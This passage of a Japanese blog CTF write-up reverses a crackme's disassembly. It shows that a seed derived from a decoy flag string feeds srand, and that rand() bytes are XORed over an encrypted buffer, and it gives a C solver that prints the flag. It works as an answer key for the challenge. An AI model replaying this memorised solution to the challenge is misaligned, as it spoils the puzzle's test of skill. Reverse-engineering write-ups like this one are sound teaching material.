  f5:    8b 45 b4                 mov    eax, DWORD PTR [rbp-0x4c]
  f8:    48 98                    cdqe
  fa:    0f b6 80 80 10 60 00     movzx  eax, BYTE PTR [rax+0x601080]
 101:    0f be d0                 movsx  edx, al
 104:    8b 45 b4                 mov    eax, DWORD PTR [rbp-0x4c]
 107:    83 c0 01                 add    eax, 0x1
 10a:    48 98                    cdqe
 10c:    0f b6 80 80 10 60 00     movzx  eax, BYTE PTR [rax+0x601080]
 113:    0f be c0                 movsx  eax, al
 116:    0f af d0                 imul   edx, eax
 119:    8b 45 b4                 mov    eax, DWORD PTR [rbp-0x4c]
 11c:    83 c0 02                 add    eax, 0x2
 11f:    48 98                    cdqe
 121:    0f b6 80 80 10 60 00     movzx  eax, BYTE PTR [rax+0x601080]
 128:    0f be c0                 movsx  eax, al
 12b:    01 d0                    add    eax, edx
 12d:    01 45 b0                 add    DWORD PTR [rbp-0x50], eax
 130:    83 45 b4 01              add    DWORD PTR [rbp-0x4c], 0x1
 134:    8b 45 b4                 mov    eax, DWORD PTR [rbp-0x4c]
 137:    48 63 d8                 movsxd rbx, eax
 13a:    bf 80 10 60 00           mov    edi, 0x601080
 13f:    e8 27 fe ff ff           call   0xffffffffffffff6b
 144:    48 39 c3                 cmp    rbx, rax
 147:    72 ac                    jb     0xf5
 149:    c7 45 b4 00 00 00 00     mov    DWORD PTR [rbp-0x4c], 0x0
 150:    eb 3d                    jmp    0x18f
 152:    8b 45 b4                 mov    eax, DWORD PTR [rbp-0x4c]
 155:    48 63 d0                 movsxd rdx, eax
 158:    48 8b 45 a8              mov    rax, QWORD PTR [rbp-0x58]
 15c:    48 01 d0                 add    rax, rdx
 15f:    0f b6 00                 movzx  eax, BYTE PTR [rax]
 162:    0f be d0                 movsx  edx, al
 165:    8b 45 b4                 mov    eax, DWORD PTR [rbp-0x4c]
 168:    48 98                    cdqe
 16a:    0f b6 4c 05 c0           movzx  ecx, BYTE PTR [rbp+rax*1-0x40]
 16f:    8b 45 b4                 mov    eax, DWORD PTR [rbp-0x4c]
 172:    48 63 f0                 movsxd rsi, eax
 175:    48 8b 45 b8              mov    rax, QWORD PTR [rbp-0x48]
 179:    48 01 f0                 add    rax, rsi
 17c:    0f b6 00                 movzx  eax, BYTE PTR [rax]
 17f:    38 c1                    cmp    cl, al
 181:    0f 95 c0                 setne  al
 184:    0f b6 c0                 movzx  eax, al
 187:    39 c2                    cmp    edx, eax
 189:    75 6c                    jne    0x1f7
 18b:    83 45 b4 01              add    DWORD PTR [rbp-0x4c], 0x1
 18f:    8b 45 b4                 mov    eax, DWORD PTR [rbp-0x4c]
 192:    48 63 d8                 movsxd rbx, eax
 195:    48 8b 45 a8              mov    rax, QWORD PTR [rbp-0x58]
 199:    48 89 c7                 mov    rdi, rax
 19c:    e8 ca fd ff ff           call   0xffffffffffffff6b
 1a1:    48 39 c3                 cmp    rbx, rax
 1a4:    72 ac                    jb     0x152
 1a6:    8b 45 b0                 mov    eax, DWORD PTR [rbp-0x50]
 1a9:    89 c7                    mov    edi, eax
 1ab:    e8 eb fd ff ff           call   0xffffffffffffff9b
 1b0:    c7 45 b4 00 00 00 00     mov    DWORD PTR [rbp-0x4c], 0x0
 1b7:    eb 26                    jmp    0x1df
 1b9:    8b 45 b4                 mov    eax, DWORD PTR [rbp-0x4c]
 1bc:    48 63 d0                 movsxd rdx, eax
 1bf:    48 8b 45 b8              mov    rax, QWORD PTR [rbp-0x48]
 1c3:    48 01 d0                 add    rax, rdx
 1c6:    0f b6 18                 movzx  ebx, BYTE PTR [rax]
 1c9:    e8 dd fd ff ff           call   0xffffffffffffffab
 1ce:    31 c3                    xor    ebx, eax
 1d0:    89 da                    mov    edx, ebx
 1d2:    8b 45 b4                 mov    eax, DWORD PTR [rbp-0x4c]
 1d5:    48 98                    cdqe
 1d7:    88 54 05 c0              mov    BYTE PTR [rbp+rax*1-0x40], dl
 1db:    83 45 b4 01              add    DWORD PTR [rbp-0x4c], 0x1
 1df:    83 7d b4 21              cmp    DWORD PTR [rbp-0x4c], 0x21
 1e3:    7e d4                    jle    0x1b9
 1e5:    c6 45 e2 00              mov    BYTE PTR [rbp-0x1e], 0x0
 1e9:    48 8d 45 c0              lea    rax, [rbp-0x40]
 1ed:    48 89 c7                 mov    rdi, rax
 1f0:    e8 66 fd ff ff           call   0xffffffffffffff5b
 1f5:    eb 01                    jmp    0x1f8
 1f7:    90                       nop
 1f8:    48 8b 45 e8              mov    rax, QWORD PTR [rbp-0x18]
 1fc:    64 48 33 04 25 28 00     xor    rax, QWORD PTR fs:0x28
 203:    00 00  
 205:    74 05                    je     0x20c
 207:    e8 6f fd ff ff           call   0xffffffffffffff7b
 20c:    48 83 c4 58              add    rsp, 0x58
 210:    5b                       pop    rbx
 211:    5d                       pop    rbp
 212:    c3                       ret

0x601080 には CTF{u53_7h3_f0rc3_4nd_7ry_h4rd_my_fr13nd} という文字列、0x400858 には \xd0\x73\x2a\xa0\xd8\xb2\xd3\x7d\x47\xaa\x19\x24\xdf\xc8\xa8\x49\x7b\x99\xd9\x97\xe8\xab\x74\x26\xc1\x26\x5e\xed\x52\x02\x99\x91\x69\x20 という文字列が格納されています。

rbp-0x50 には以下のような処理の結果が入ります。

  int var_50 = 1;
  for (i = 0; i < strlen(global_601080); i++) {
    var_50 += global_601080[i] * global_601080[i + 1] + global_601080[i + 2];
  }

その後 rbp-0x50 を引数に srand と思われる関数を呼び出し、0x400858 を 1 文字ずつ rand() と xor しています。

以下のコードをコンパイルして実行するとフラグが得られました。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
  char *global_601080 = "CTF{u53_7h3_f0rc3_4nd_7ry_h4rd_my_fr13nd}";
  char var_40[] = "\xd0\x73\x2a\xa0\xd8\xb2\xd3\x7d\x47\xaa\x19\x24\xdf\xc8\xa8\x49\x7b\x99\xd9\x97\xe8\xab\x74\x26\xc1\x26\x5e\xed\x52\x02\x99\x91\x69\x20";
  int var_50 = 1, i;
  for (i = 0; i < strlen(global_601080); i++) {
    var_50 += global_601080[i] * global_601080[i + 1] + global_601080[i + 2];
  }
  srand(var_50);
  for (i = 0; i <= 0x21; i++) {
    var_40[i] ^= rand() & 0xff;
  }
  puts(var_40);
  return 0;
}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳